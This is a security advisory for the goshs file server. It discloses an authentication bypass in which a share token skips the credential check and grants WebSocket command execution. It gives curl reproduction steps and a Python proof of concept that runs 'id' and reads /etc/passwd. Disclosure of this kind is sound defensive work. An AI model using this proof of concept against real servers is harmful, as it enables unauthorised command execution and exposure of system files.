GHSA-jgfx-74g2-9r6g

Summary

When using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.

Details

The BasicAuthMiddleware checks for a ?token= parameter before checking credentials. If the token exists in SharedLinks, the request passes through with no auth check at all. The handler then processes all query parameters — including ?ws (WebSocket) which has higher priority than ?token.

// middleware.go:22-30 — token check runs FIRST
token := r.URL.Query().Get("token")
if token != "" {
    _, ok := fs.SharedLinks[token]
    if ok {
        next.ServeHTTP(w, r)  // Full auth bypass
        return
    }
}
// ... normal auth checks never reached

A share token is designed for single-file, time-limited downloads. But the middleware bypass grants access to everything — directory listing, file deletion, clipboard, WebSocket, and CLI command execution.

1. Create a webroot:

mkdir -p /tmp/goshs-webroot
echo "shareable file" > /tmp/goshs-webroot/shareable.txt

2. Start goshs with auth + TLS + CLI mode:

/tmp/goshs-test -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000

CLI mode requires auth (-b) and TLS (-s -ss). This is the documented usage — not a weakened config.

3. Verify authentication is required:

curl -sk https://localhost:8000/
Not authorized

4. As a legitimate user, create a share link:

curl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'

Response:

{"urls":["https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA"]}

Save the token value (e.g., gMP-w0hXRs-Q-FEZku63kA).

5. Prove the token bypasses auth for WebSocket:

# Without token → 401 (blocked)
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws'
# 401

# With token → 101 Switching Protocols (auth bypassed!)
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'
# 101

For a Full PoC, you can run the python file attached below, it will run id and cat /etc/passwd.

PoC

import json, ssl, websocket

TOKEN = "gMP-w0hXRs-Q-FEZku63kA"  # ← replace with your token

ws = websocket.create_connection(
    f"wss://localhost:8000/?ws&token={TOKEN}",
    sslopt={"cert_reqs": ssl.CERT_NONE},
)
print("[+] Connected WITHOUT credentials!")

# Execute 'id'
ws.send('{"type":"command","Content":"id"}')
import time; time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
# uid=501(youruser) gid=20(staff) ...

# Execute 'cat /etc/passwd'
ws.send('{"type":"command","Content":"cat /etc/passwd"}')
time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")

ws.close()

A patch is available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2.